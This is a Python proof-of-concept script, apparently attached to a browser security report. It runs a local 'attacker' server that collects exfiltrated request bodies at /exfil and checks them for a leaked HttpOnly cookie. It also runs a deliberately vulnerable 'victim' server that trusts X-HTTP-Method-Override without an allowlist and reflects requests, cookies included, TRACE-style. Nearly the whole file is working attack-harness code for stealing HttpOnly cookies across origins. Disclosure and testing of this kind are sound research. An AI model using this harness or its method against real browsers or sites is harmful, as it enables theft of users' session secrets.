#!/usr/bin/env python3
"""
POC server: runs two HTTP servers on 127.0.0.1.

  - Port 8080  "attacker" origin: serves poc.html, receives /exfil callbacks.
  - Port 8081  "victim"   origin: sets a secret HttpOnly cookie and exposes an
    endpoint that honors X-HTTP-Method-Override (no method allowlist) and
    reflects the inbound request (TRACE-style) as Content-Type: message/http.

The two ports are different ORIGINS (so ORB / CORS / opaque-tainting all
apply) but the same SITE (so the victim cookie is attached without needing
SameSite=None;Secure / HTTPS).  In a real attack the target would be a
SameSite=None cookie over HTTPS; that is orthogonal to the network-service
header-validation gap being demonstrated.
"""

import http.server
import os
import socketserver
import sys
import threading

ATTACKER_PORT = 18080
VICTIM_PORT = 18081
SECRET = "TOPSECRET_HttpOnly_a1b2c3d4e5"

EXFIL_EVENT = threading.Event()
EXFIL_BODY = [None]


class AttackerHandler(http.server.SimpleHTTPRequestHandler):
    def __init__(self, *a, **kw):
        super().__init__(*a, directory=os.path.dirname(os.path.abspath(__file__)), **kw)

    def do_POST(self):
        if self.path.startswith("/exfil"):
            n = int(self.headers.get("Content-Length", "0"))
            body = self.rfile.read(n).decode("utf-8", "replace")
            EXFIL_BODY[0] = body
            print("\n" + "=" * 70, file=sys.stderr)
            print("[ATTACKER] /exfil received cross-origin body from renderer:",
                  file=sys.stderr)
            print("-" * 70, file=sys.stderr)
            print(body, file=sys.stderr)
            print("-" * 70, file=sys.stderr)
            if SECRET in body:
                print("[ATTACKER] *** VICTIM HttpOnly COOKIE LEAKED: secret=%s ***"
                      % SECRET, file=sys.stderr)
            else:
                print("[ATTACKER] secret cookie NOT found in body", file=sys.stderr)
            print("=" * 70 + "\n", file=sys.stderr)
            EXFIL_EVENT.set()
            self.send_response(200)
            self.end_headers()
            return
        self.send_error(404)

    def log_message(self, fmt, *args):
        sys.stderr.write("[attacker:%d] %s\n" % (ATTACKER_PORT, fmt % args))


class VictimHandler(http.server.BaseHTTPRequestHandler):
    def _setcookie(self):
        # HttpOnly so JS on the victim origin couldn't read it either; only the
        # network stack ever sees this value.
        self.send_response(302)
        self.send_header("Set-Cookie",
                         "secret=%s; Path=/; HttpOnly" % SECRET)
        self.send_header("Location",
                         "http://127.0.0.1:%d/poc.html" % ATTACKER_PORT)
        self.end_headers()

    def _maybe_override(self):
        """Application-layer method-override middleware with NO allowlist
        (the victim-side precondition described in the report)."""
        ov = (self.headers.get("X-HTTP-Method-Override")
              or self.headers.get("X-HTTP-Method")
              or self.headers.get("X-Method-Override"))
        if ov:
            self.command = ov.strip().upper()
            print("[victim:%d] method overridden -> %s" %
                  (VICTIM_PORT, self.command), file=sys.stderr)

    def _trace(self):
        # RFC 7231 TRACE-style reflection of the inbound request as
        # Content-Type: message/http.
        body = "%s %s HTTP/1.1\r\n" % (self.command, self.path)
        for k, v in self.headers.items():
            body += "%s: %s\r\n" % (k, v)
        body = body.encode("utf-8")
        self.send_response(200)
        self.send_header("Content-Type", "message/http")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)
        print("[victim:%d] reflected %d-byte request (Cookie present: %s)" %
              (VICTIM_PORT, len(body), "Cookie" in self.headers),
              file=sys.stderr)

    def do_GET(self):
        if self.path.startswith("/setcookie"):
            return self._setcookie()
        self._maybe_override()
        if self.command == "TRACE":
            return self._trace()
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.end_headers()
        self.wfile.write(b"victim app\n")

    def do_POST(self):
        self._maybe_override()
        if self.command == "TRACE":
            return self._trace()
        # drain body
        n = int(self.headers.get("Content-Length", "0"))
        if n:
            self.rfile.read(n)
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.end_headers()
        self.wfile.write(b"ok\n")

    def log_message(self, fmt, *args):
        sys.stderr.write("[victim:%d] %s\n" % (VICTIM_PORT, fmt % args))


class ThreadingHTTPServer(socketserver.ThreadingMixIn, http.server.HTTPServer):
    allow_reuse_address = True
    daemon_threads = True


def main():
    a = ThreadingHTTPServer(("127.0.0.1", ATTACKER_PORT), AttackerHandler)
    v = ThreadingHTTPServer(("127.0.0.1", VICTIM_PORT), VictimHandler)
    threading.Thread(target=a.serve_forever, daemon=True).start()
    threading.Thread(target=v.serve_forever, daemon=True).start()
    print("[*] attacker origin: http://127.0.0.1:%d" % ATTACKER_PORT,
          file=sys.stderr)
    print("[*] victim   origin: http://127.0.0.1:%d" % VICTIM_PORT,
          file=sys.stderr)
    print("[*] entry point:     http://127.0.0.1:%d/setcookie" % VICTIM_PORT,
          file=sys.stderr)
    try:
        threading.Event().wait()
    except KeyboardInterrupt:
        pass


if __name__ == "__main__":
    main()
